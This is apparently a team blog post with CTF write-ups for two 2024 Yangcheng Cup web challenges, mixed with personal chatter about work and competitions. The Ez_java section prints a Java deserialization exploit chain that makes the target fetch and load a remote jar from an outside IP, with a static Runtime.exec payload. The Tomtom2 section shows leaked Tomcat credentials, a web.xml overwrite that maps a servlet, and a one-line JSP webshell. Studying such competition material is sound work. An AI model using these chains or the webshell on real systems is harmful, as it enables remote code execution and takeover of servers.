CTF - 羊城Web题解(近况)

文摘   科技   2024-08-29 13:11   四川  

CTF的"乐子"

本篇文章来自团队成员:jack

前言

很久没更新博客了,偶尔写一篇,记录一下打了一天的题(太久没打了太菜了我的哥,其实也不是太久没打的问题,一直都这样),最近护网,巨忙,很难想象一个安服仔一天工作16h的样子,害,安服仔的命,最近也是忙了点扫描器开发,然后就是背书等着考试了,考啥–GA考试+秋招,虽然目前已经有几家聊得还不错愿意要我(收留我),但还在等其他家给个面试机会(很疑惑某手,我咋刚投就被拒了呢?是我简历有病毒吗还是啥),开发的东西暂不开源,打算靠他来打打护网审计审计,讲讲最近打的神仙比赛吧 — 羊城杯 (准备成都打巅峰极客) –> 抢一把我大头Die的生意

很多人都说 "CTF只图一乐" ,还真是啊,本次介绍一个比赛可以激发无限CTFer的潜能,奋战24H(后面有彩蛋),原文章博客地址为

https://zjackky.github.io

Web题解

‍先摆个打了好久的题

Ez_java

有权限校验,但是是1.2.4的shiro,可以绕过本来以为可以直接打反序列化的,但是发现这里是可以自己实现登录逻辑的,自定义实现了Realm,不懂看这

https://blog.csdn.net/qq_42814833/article/details/118897560
image

看依赖有几个有问题的依赖包,看代码注意下ycb的包名即可,查看User这个Java Bean

image

发现个getter能调用URLclassloader加载类,但是ban了 http和 file 之前做过,想到用jar协议来绕开并且远程加载jar包即可

接下来看控制器发现可以裸反序列化,但是存在黑名单

image

private staticfinalString[] blacklist ={
"java.lang.Runtime",
"java.lang.ProcessBuilder",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"java.security.SignedObject",
"com.sun.jndi.ldap.LdapAttribute",
"org.apache.commons.beanutils",
"org.apache.commons.collections",
"javax.management.BadAttributeValueExpException","com.sun.org.apache.xpath.internal.objects.XString"
};

禁用了BadAttributeValueExpException,但是可以走Hashtable的tostring去调用Jackson来完成getter的触发(恰好是之前审的帆软,也是CT大哥的文章),可以想到直接调用到上述的getgift,tututu就写好了

此时去生成一个恶意的jar即可,但这里要注意下URLclassloader是会把Jar加载的JVM里头,但你不去调用他就不会去找这个类,所以我们要去找这个类才能触发HTTP请求 or file协议

这里给出自己调试的代码

        String gift="jar:http://127.0.0.1:8081/hello.jar!/";
URLurl1=newURL(gift);
Class<?>URLclass=Class.forName("java.net.URLClassLoader");
Methodadd=URLclass.getDeclaredMethod("addURL", URL.class);
            add.setAccessible(true);
URLClassLoaderclassloader=(URLClassLoader)ClassLoader.getSystemClassLoader();
            add.invoke(classloader, url1);

我的jar是这样子的

import java.io.*;


publicclassMainimplementsSerializable{
static{
try{
Runtime.getRuntime().exec("open .");
}catch(Exception e){}
}
privateString name;
privateint age;

publicMain(){
System.out.println("person constructor");
}

publicMain(String name, int age){
this.name = name;
this.age = age;
}

publicStringgetName(){
System.out.println("Person.getName()");
return name;
}

publicvoidsetName(String name){
System.out.println("Person.setName()");
this.name = name;
}

publicintgetAge(){
System.out.println("Person.getAge()");
return age;
}

publicvoidsetAge(int age){
System.out.println("Person.setAge()");
this.age = age;
}

publicstaticvoidmain(String[] args)throwsIOException,ClassNotFoundException{
Mainperson=newMain();
        serialize(person);
//        unserialize("ser.bin");

}

publicstaticvoidserialize(Object obj)throwsIOException{
ObjectOutputStreamoos=newObjectOutputStream(newFileOutputStream("ser.bin"));
        oos.writeObject(obj);
}

publicstaticObjectunserialize(String Filename)throwsIOException,ClassNotFoundException{
ObjectInputStreamois=newObjectInputStream(newFileInputStream(Filename));
Objectobj= ois.readObject();
return obj;
}

}


此时直接加载是不会触发HTTP请求的,也不会实例化该类,此时用反射去调用该类即可触发HTTP请求了

image

真是折磨到十一点(早9开始的)

那此时清楚URLclassloader之后就可以打了,在这里有个反序列化入口,让反序列化去找这个类即可进行类加载从而触发他的静态方法

打了第一个遍后打第二遍的找类

image

image

链子是公开的

https://xz.aliyun.com/t/14732

Exp

package com.example.ycbjava.bean;

importUtils.SerializeTools;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Hashtable;
import java.util.Map;
importstaticUtils.SerializeTools.CreateWithoutConstructor;

publicclassJacksonnoStable{
publicbyte[] getPayload(byte[] clazzBytes)throwsException{
ClassPoolpool=ClassPool.getDefault();
CtClassctClass0= pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethodwriteReplace= ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();
Useruser=newUser();
        user.setUsername("jar:http://118.31.166.161:8000/hello.jar!/");
POJONodejsonNodes=newPOJONode(user);
MapThashmap1=(Map)CreateWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
MapThashmap2=(Map)CreateWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Thashmap1.put(jsonNodes,"xx");
Thashmap2.put(jsonNodes,"yy");
SerializeTools.setValue(Thashmap1,"loadFactor",1);
SerializeTools.setValue(Thashmap2,"loadFactor",1);
Hashtable<Object,Object> hashtable =newHashtable<>();
        hashtable.put(Thashmap1,1);
        hashtable.put(Thashmap2,2);
Thashmap1.put(jsonNodes,null);
Thashmap2.put(jsonNodes,null);
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();
Stringres=Base64.getEncoder().encodeToString(barr.toByteArray());
return barr.toByteArray();
}
}

Tomtom2

能读xml

image

找到tomcat密码

  <user
    username="admin"
    password="This_is_my_favorite_passwd"
    roles="manager-gui"
  />

扫到有上传接口 myapp/upload.html

上传path可控,测了只能传xml,可以通过覆盖 WEB-INF/web.xml 来写个新的servlet,并且指定解析一个xml来作为jsp

web.xml内容如下

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

<servlet>
<servlet-name>qwe</servlet-name>
<jsp-file>/WEB-INF/jsp/web.xml</jsp-file>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>qwe</servlet-name>
<url-pattern>/run</url-pattern>
</servlet-mapping>
</web-app>

然后写个JSP即可,也可以写个回显马展示,也可以懒得写直接弹shell随便

<%=Runtime.getRuntime.exec(request.getParameter("a"))%>

彩蛋

https://www.zhihu.com/question/665413633  # 如何看待2024羊城杯网络安全大赛

一群没进决赛的好哥哥全通宵了(真打CTF打的啊?)

image

image

image

image

image

image

image

image

最骚的还是这个高级会员版的Jadx

image

正常的应该为

image

真就是CTF只图一乐呗?


无限学习安全团队
无限学习安全团队公众号